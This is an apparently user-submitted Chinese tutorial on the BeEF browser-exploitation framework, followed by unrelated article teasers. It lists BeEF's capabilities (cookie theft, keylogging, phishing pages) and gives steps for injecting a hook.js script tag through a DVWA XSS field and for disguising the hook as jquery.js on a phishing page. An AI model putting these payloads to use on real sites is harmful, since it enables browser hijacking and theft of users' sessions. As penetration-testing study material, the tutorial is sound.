BeEF 网页钓鱼平台

news/2024/10/9 19:19:36

BeEF 网页钓鱼平台

BeEF 介绍

  • BeEF 全称 The Brower Exploitation FrameWork 是一款针对浏览器的浏览器渗透测试工具,使用Ruby 语言开发的 用于实现对XSS 漏洞的攻击和利用
    BeEF 主要是往网页中插入一段名为hook.js 的JS 脚本代码,如果浏览器访问了 有 hook.js(钩子)的页面 就会被 hook(钩住)勾连的浏览器会执行初始代码 返回一些信息 接着目标主机会每隔一段时间 默认为疫苗 就会向BeEF 服务器发送一个请求询问是否有新的代码需要执行

功能介绍

  1. 信息搜集
    • 可以实现网络发现 主机信息获取 cookie获取,会话劫持,获取键盘记录,获取插件信息等功能
  2. 持久化控制
    • 可以实现确认弹框,小窗口和中间人攻击
  3. 社会工程学攻击:
    • 可以实现点击劫持,弹窗警告,虚假页面钓鱼页面等攻击
  4. 渗透攻击
    • 可以实现内网渗透,CSRF跨站请求伪造攻击,DDOS攻击,还可以结合Metasploit 使用

安装和使用

# 安装
apt-get install beef-xss
# 启动
beef-xss # 首次启动需要输入新密码
# 管理界面地址
http://127.0.0.1:3000/ui/panel
# 配置文件
/usr/share/beef-xss/config.yaml
  • 启动之后 打开管理地址页面 左侧 为上线的设备 也就是目标的浏览器 右侧是各种功能 比如获取定位 浏览器弹窗等功能 不过需要有设备上线才能显示
  • 使用这个有两个方法一个是 在有xss 漏洞的地方将 这个东西插进去获取
  • 第二个方法则是 使用嵌入了钩子的钓鱼页面 只要对方打开 这边就可以获取到
  • 笔记两种都会记录不过都是局域网下的 使用内网穿透 尝试使用第二种的时候发现 无法使用第一种则是由于没有靶场 并没有进行实战

第一种

  • 使用靶场 dvva 找到XSS 漏洞 并把靶场的防御等级设置为低 将以下代码输入到 提交框中即可
<script src="http://<IP>:3000/hook.js></script>"

第二种

  • 将攻击代码放到钓鱼网站里
  • 打开 apache2 服务器
service apache2 start
  • 切换目录到 /var/www/html 输入 以下命令
cd /var/www/html 
sudo wget http://127.0.0.1:3000/hook.js -O /var/www/html/jquery.js
# 或者
sudo wget http://192.168.1.11:3000/hook.js -O /var/www/html/jquery.js
  • 编辑 /var/www/html/index.html 将以下代码插入进去
<script src='./jquery.js'></script>
  • 访问 kali 80端口的 apache 服务器 这个时候会出现 默认的index.html
  • 同时打开后台管理页面 就可以看到主机上线了

在左侧的commands 中找到 Create Alert Delog 点击 一下之后点击右侧的excute 即可进行弹窗攻击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/69516.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

『模拟赛』多校A层冲刺NOIP2024模拟赛04

『模拟赛记录』多校A层冲刺NOIP2024模拟赛04Rank 赤石场。A. 02表示法 签。 若干天前在洛谷随到过,不过当时只看了眼讨论区就走了www 还好本来不是很难。 发现大体上是一个拆分二的幂的问题,从大到小枚举 2 的幂,判断有没有这个幂只用比较大小关系,然后再对指数做一个同样的…

实现一个烟花效果

1. 首先创建一个烟花类,有烟花上升的效果,烟花爆炸的两种效果(爆炸型和球型)2. 创建线的属性方法,因为上升效果和爆炸效果都会用到3. 上升效果为了达到那种螺旋上升的效果可以通过sin函数实现一个点的偏移量4. 爆炸效果则是将随机生成多条半径不同的线5. 球形效果则是将规…

【Java】反射

Java中的反射机制 动态代理反射 允许对封装类的字段,方法和构造函数的信息进行编程访问 ==》 反射允许对成员变量,成员方法和构造方法的信息进行编程访问 基本操作:获取(获取class对象【字节码对象】) + 解剖 成员变量 Field —— 修饰符、名字、类型、赋值 构造方法 Cons…

DNShell

DNShell 一款基于DNS C2隧道的反弹shell工具。 支持 功能: 支持DNS-recordA-直连型 的C2隧道。 目标: Windows下基于Powershell的反弹。 Linux下基于ShellScript的反弹。 使用方法

【Redis】Redis学习笔记

概况 redis == remote Dictionary Server (远程字典服务) 基于内存的KV键值对内存数据库 作用:分布式缓存,与MySQL共同配合Redis -- 内存 MySQL -- 磁盘Redis -- NoSQL MySQL -- SQL内存存储 和 持久化(RDB+AOF)Redis支持一部将内存中的数据写入硬盘宕机 -- 可自行恢复高…

基于禁忌搜索算法的VRP问题求解matlab仿真,带GUI界面,可设置参数

1.程序功能描述基于禁忌搜索算法的VRP问题求解matlab仿真,带GUI界面,可设置参数。 2.测试软件版本以及运行结果展示MATLAB2022a版本运行 3.核心程序while COUNT<=Itertions ֲ L = zeros(Ant_Num,1); for i=1:Ant_Num Infor_Tabu_tmps = Infor_Tabu(i,:); R = Inf…

CMake 属性之全局属性

CMake 的全局属性是指在 CMake 配置过程中,对整个项目范围生效的设置。这些属性不同于目标 ( Target ) 属性或目录 ( Directory ) 属性,后者仅对特定的目标或目录生效。【写在前面】 CMake 的全局属性是指在 CMake 配置过程中,对整个项目范围生效的设置。 这些属性不同于目标…

自然人信息社工

人,是网络安全全流程中最大的弱点。针对人的攻击往往有出奇不意的效果。而想要利用人的弱点进行攻击,那么对目标的信息收集与了解就是非常重要的了。这篇文章记录了一些常用的用于对人进行身份信息收集的技术。这些技术常被用于溯源取证、社工攻击。 0x00 社工分析中的身份信…